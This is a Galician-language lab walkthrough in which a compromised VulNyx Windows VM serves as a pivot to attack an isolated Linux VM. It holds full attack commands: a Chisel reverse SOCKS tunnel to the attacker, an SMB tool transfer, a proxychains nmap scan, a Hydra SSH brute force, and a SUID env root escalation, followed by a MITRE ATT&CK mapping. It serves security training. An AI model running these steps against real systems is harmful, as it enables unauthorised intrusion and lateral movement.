Ir ao contido

Pivoting Windows → Linux

Escenario de Pivoting WarBasic

Para realizar esta práctica é necesario modificar a configuración de rede das máquinas virtuais en VirtualBox.

Fig. Pivoting Diagram

Configuración do Escenario (Montaxe)

Antes de iniciar as máquinas, debemos configurar as tarxetas de rede no hipervisor (VirtualBox).

1. Configuración de VirtualBox

Máquina Atacante (Kali Linux):

  • Adaptador 1: Rede Host-Only (Anfitrión) → vboxnet0

    • IP esperada: 192.168.56.X
    • Obxectivo: Punto de entrada do atacante. Debe ter conectividade coa máquina pivote.

Máquina Pivote (VulNyx War — Windows):

  • Adaptador 1: Rede Host-Only (Anfitrión) → vboxnet0

    • Obxectivo: Ser alcanzable dende Kali unha vez comprometida.
  • Adaptador 2: Rede Host-Only (Anfitrión) → vboxnet1

    • Obxectivo: Acceder a unha segunda rede que Kali non pode alcanzar directamente (rede de pivoting).
    • Nota (VirtualBox): ao crear vboxnet1, VirtualBox adoita asignarlle por defecto a rede 192.168.57.0/24 (por exemplo, o host queda en 192.168.57.1).
    • Nota (laboratorio): activa o servidor DHCP de vboxnet1 (no Host Network Manager → separador Servidor DHCP) para que War obteña IP automaticamente sen modificar a OVA.

Máquina Obxectivo (VulNyx Basic — Linux):

  • Adaptador 1: Rede Host-Only (Anfitrión) → vboxnet1

    • Obxectivo: Estar illada do mundo exterior e só accesible a través da máquina pivote (War).
    • Nota: se vboxnet1 ten DHCP activo, Basic obterá unha IP 192.168.57.X automaticamente. A IP exacta descúbrese dende War tras o compromiso (ARP / ping).

Introducción ao Reto

O obxectivo deste escenario é...

  • Compromiso inicial de máquina Windows (War)
  • Descubrimento de rede interna (Enumeración de interfaces e ARP)
  • Configuración de Túnel SOCKS5 con Chisel
  • Uso de Proxychains para escanear a través do túnel
  • Enumeración de servizos ocultos (CUPS) en rede interna
  • Movemento Lateral vía SSH cara a Linux (Basic)
  • Escalada de privilexios final en máquina pivotada

Mapa de vectores de ataque

  1. Kali ataca a War (Tomcat Exploit)
  2. War convértese en proxy SOCKS (Chisel)
  3. Kali ataca a Basic a través de War (SSH Brute Force)

Diagrama de ataque

Fig. Diagrama de ataque


Fase 1 — Recopilación (Compromiso Previo e Descubrimento Interno)

Premisa: Seguindo os pasos do documento War, xa comprometemos a máquina War mediante:

  1. Forza bruta con Hydra sobre Tomcat Manager (/manager/html)
  2. Deploy de ficheiro WAR malicioso con msfvenom
  3. Obtención de shell como NT AUTHORITY\LOCAL SERVICE
  4. Escalada de privilexios mediante SeImpersonatePrivilege con SigmaPotato
  5. Obtención de shell como NT AUTHORITY\SYSTEM ou Administrator

Estado actual: Temos unha shell con privilexios de administrador na máquina War.

Paso 1.1: Enumeración de Interfaces en War

Dende a nosa shell en Windows (War), verificamos se existe unha segunda tarxeta de rede que nos conecte a un segmento descoñecido.

C:\Program Files\Apache Software Foundation\Tomcat 11.0> ipconfig /all

Saída relevante:

IP das máquinas virtuais

No caso de execución deste procedemento a IP da máquina:
1. Kali Linux foi: 192.168.56.113
2. War foi: NIC1 → 192.168.56.177 e NIC2 → 192.168.57.3
3. Basic foi: 192.168.57.4
, pero no voso caso pode variar. Tédeo en conta para o seguimento desta práctica.

Ethernet adapter Ethernet:
   IPv4 Address. . . . . . . . . . . : 192.168.56.177 (Exposta a Kali)

Ethernet adapter Ethernet 2:
   IPv4 Address. . . . . . . . . . . : 192.168.57.3 (Rede Pivoting vía vboxnet1 - DHCP)

Descubrimento: Existe unha rede 192.168.57.0/24 illada de Kali.

Paso 1.2: Descubrimento de Veciños (Host Discovery)

Buscamos máquinas vivas nesa rede interna. Dado que non temos Nmap en Windows, usamos a táboa ARP ou un Ping nativo.

# Opción A: Ver táboa ARP (Máis silencioso)
> arp -a

# Opción B: Ping 
> for /L %i in (1,1,254) do @ping -n 1 -w 100 192.168.57.%i | find "Reply"
Reply from 192.168.57.1: bytes=32 time<1ms TTL=64  #IP host anfitrión
Reply from 192.168.57.2: bytes=32 time<1ms TTL=255 #IP router rede host-only
Reply from 192.168.57.3: bytes=32 time<1ms TTL=128 #IP Ethernet2 (War)
Reply from 192.168.57.4: bytes=32 time<1ms TTL=64  #IP máquina virtual Basic

Resultado:

Reply from 192.168.57.4: bytes=32 time<1ms TTL=64

Obxectivo Identificado: 192.168.57.4 (Máquina Basic).
Nota: O TTL=64 indícanos que probablemente sexa un sistema Linux.


Fase 2 — Análise (Configuración do Túnel e Enumeración Remota)

Para atacar a Basic, necesitamos crear unha ponte (túnel) a través de War.

Chisel (Proxy SOCKS5)

Esta opción permite tunelizar calquera tipo de tráfico de rede.

Paso 2.1: Transferencia de Chisel a War

1. Descargamos chisel (.deb e .exe) na Kali

cd 
wget https://github.com/jpillora/chisel/releases/download/v1.11.3/chisel_1.11.3_linux_amd64.deb
sudo dpkg -i chisel_1.11.3_linux_amd64.deb

cd /home/kali/Downloads
wget https://github.com/jpillora/chisel/releases/download/v1.11.3/chisel_1.11.3_windows_amd64.zip
7z x chisel_1.11.3_windows_amd64.zip
ls
chisel.exe

2. Compartimos o cartafol en Kali (onde temos o chisel.exe descargado)

impacket-smbserver compartir /home/kali/Downloads -smb2support

3. En War (Shell de Administrator)

> copy \\IP_Atacante\compartir\chisel.exe C:\Windows\Temp\chisel.exe

Paso 2.2: Execución do Túnel (Reverse SOCKS)

1. En Kali (Servidor):

# Escoitar no porto 8000 permitindo túneles inversos
$ chisel server --reverse --port 8000
2025/12/14 21:58:41 server: Reverse tunnelling enabled
2025/12/14 21:58:41 server: Fingerprint 3zFC8R/QA1nDZCksK65RRGLLDX6AlnlT5k93YCbYLyY=
2025/12/14 21:58:41 server: Listening on http://0.0.0.0:8000

2. En War (Cliente):

# Conectar a Kali e abrir un SOCKS na máquina atacante
> C:\Windows\Temp\chisel.exe client IP_Atacante:8000 R:socks

Saída esperada en Kali:
2025/12/14 22:01:28 server: session#1: tun: proxy#R:127.0.0.1:1080=>socks: Listening (Túnel establecido no porto 1080)

Paso 2.3: Configuración de Proxychains

Editamos /etc/proxychains4.conf en Kali para usar o túnel:

# Ao final do ficheiro
[ProxyList]
#socks4 127.0.0.1 9050
socks5 127.0.0.1 1080

Paso 2.4: Escaneo de Portos a través do Túnel

# Usamos -sT (Connect Scan) e -Pn (Non Ping) porque os túneles SOCKS non soportan SYN scans nin ICMP
proxychains nmap -sT -Pn -n -p- --min-rate 3000 192.168.57.4

Resultado:

PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
631/tcp open  ipp

Paso 2.5: Enumeración de Servizos (CUPS)

Dado que o porto 631 é HTTP, necesitamos acceder co navegador a través do proxy.

Configuración en Kali:
Configurar Proxy en Firefox para usar SOCKS5 en 127.0.0.1:1080.
Fig. Proxy Firefox socks5

Acceso:
Navegar a http://192.168.57.4:631.

Achado:
Na sección "Printers" ou "Jobs", visualizamos información da impresora que revela o usuario propietario.

Usuario identificado: [usuario_basic] (Nome extraído de CUPS).


Fase 3 — Explotación (Movemento Lateral via SSH)

Paso 3.1: Forza Bruta contra SSH Interno

Como temos o usuario extraído de CUPS ([usuario_basic]) e o porto 22 aberto, lanzamos Hydra.

Con Chisel (Proxychains)

proxychains hydra -l [usuario_basic] -P /usr/share/wordlists/rockyou.txt 192.168.57.4 ssh

Resultado:
[22][ssh] host: 192.168.57.4 login: [usuario_basic] password: [contrasinal_basic]

Paso 3.2: Acceso á Máquina Basic

Con Chisel (Proxychains)

proxychains ssh [usuario_basic]@192.168.57.4

Fase 4 — Post-explotación (Escalada de Privilexios en Basic)

Xa dentro de Basic, o procedemento é local (idéntico ao documento Basic), xa non dependemos do túnel para esta fase, só da shell SSH.

Paso 4.1: Busca de Binarios SUID

# Busca de binarios con permisos SUID
find / -type f -perm -4000 2>/dev/null

Vector detectado: /usr/bin/env ten permisos SUID.

Paso 4.2: Explotación de env con SUID

# Consulta en GTFOBins para env
# https://gtfobins.github.io/gtfobins/env/

# Explotación
/usr/bin/env /bin/bash -p

Verificación:

id
# uid=1000([usuario_basic]) gid=1000([usuario_basic]) euid=0(root) grupos=1000([usuario_basic])
whoami
# root
cat /root/root.txt
# [FLAG ROOT]

Shell de root conseguida mediante abuso de binario SUID.


Correspondencia de Fases → MITRE ATT&CK — Pivoting Scenario

Fase 1 — Recopilación

Acción / Resumo Vector principal MITRE ATT&CK (IDs) CWE(s) (relevantes)
Descubrimento de segunda interface en War (ipconfig) Host Networking Discovery T1016 — System Network Configuration Discovery CWE-200 — Information Exposure
Ping dende Windows (War) cara a Basic Network Service Scanning T1046 — Network Service Discovery
T1018 — Remote System Discovery
CWE-200 — Information Exposure
Identificación de host activo (192.168.57.4) Remote System Discovery T1018 — Remote System Discovery CWE-200 — Information Exposure

Fase 2 — Análise

Acción / Resumo Vector principal MITRE ATT&CK (IDs) CWE(s) (relevantes)
Transferencia de Chisel/Socat/Plink a War Lateral Tool Transfer T1570 — Lateral Tool Transfer N/A
Establecemento de Túnel SOCKS5 (Chisel Reverse Proxy) Protocol Tunneling T1090 — Proxy
T1572 — Protocol Tunneling
N/A
Escaneo de portos a través de Proxychains Active Scanning via Proxy T1595 — Active Scanning
T1046 — Network Service Discovery
CWE-200 — Information Exposure
Enumeración de CUPS (porto 631) Service Enumeration T1046 — Network Service Discovery CWE-200 — Information Exposure
Identificación de usuario mediante CUPS Account Discovery T1087 — Account Discovery CWE-200 — Information Exposure

Fase 3 — Explotación

Acción / Resumo Vector principal MITRE ATT&CK (IDs) CWE(s) (relevantes)
Forza Bruta SSH contra Basic (Hydra) Password Guessing / SSH T1110 — Brute Force
T1110.001 — Brute Force: Password Guessing
CWE-521 — Weak Password Requirements
CWE-307 — Improper Restriction of Excessive Authentication Attempts
Acceso SSH a Basic mediante credenciais Remote Services: SSH T1021.004 — Remote Services: SSH N/A

Fase 4 — Post-explotación

Acción / Resumo Vector principal MITRE ATT&CK (IDs) CWE(s) (relevantes)
Busca de binarios con permisos SUID File and Directory Discovery T1083 — File and Directory Discovery
T1068 — Exploitation for Privilege Escalation
CWE-732 — Incorrect Permission Assignment for Critical Resource
Abuso de /usr/bin/env con SUID SUID Binary Exploitation T1548.001 — Abuse Elevation Control Mechanism: Setuid and Setgid
T1059.004 — Command and Scripting Interpreter: Unix Shell
CWE-269 — Improper Privilege Management
CWE-732 — Incorrect Permission Assignment for Critical Resource
Obtención de shell de root Privilege Escalation T1068 — Exploitation for Privilege Escalation CWE-269 — Improper Privilege Management
Lectura de flags (user.txt, root.txt) Data from Local System T1005 — Data from Local System N/A

Resumo

Neste escenario de pivoting aprendemos:

  1. Fase 1 - Recopilación: Recoñecemento de redes internas mediante enumeración de interfaces e descubrimento de hosts en segmentos illados
  2. Fase 2 - Análise: Técnica de tunelización (Chisel para SOCKS5) e enumeración de servizos remotos
  3. Fase 3 - Explotación: Movemento lateral mediante forza bruta SSH a través do túnel establecido
  4. Fase 4 - Post-explotación: Escalada de privilexios local en sistema Linux mediante abuso de binario SUID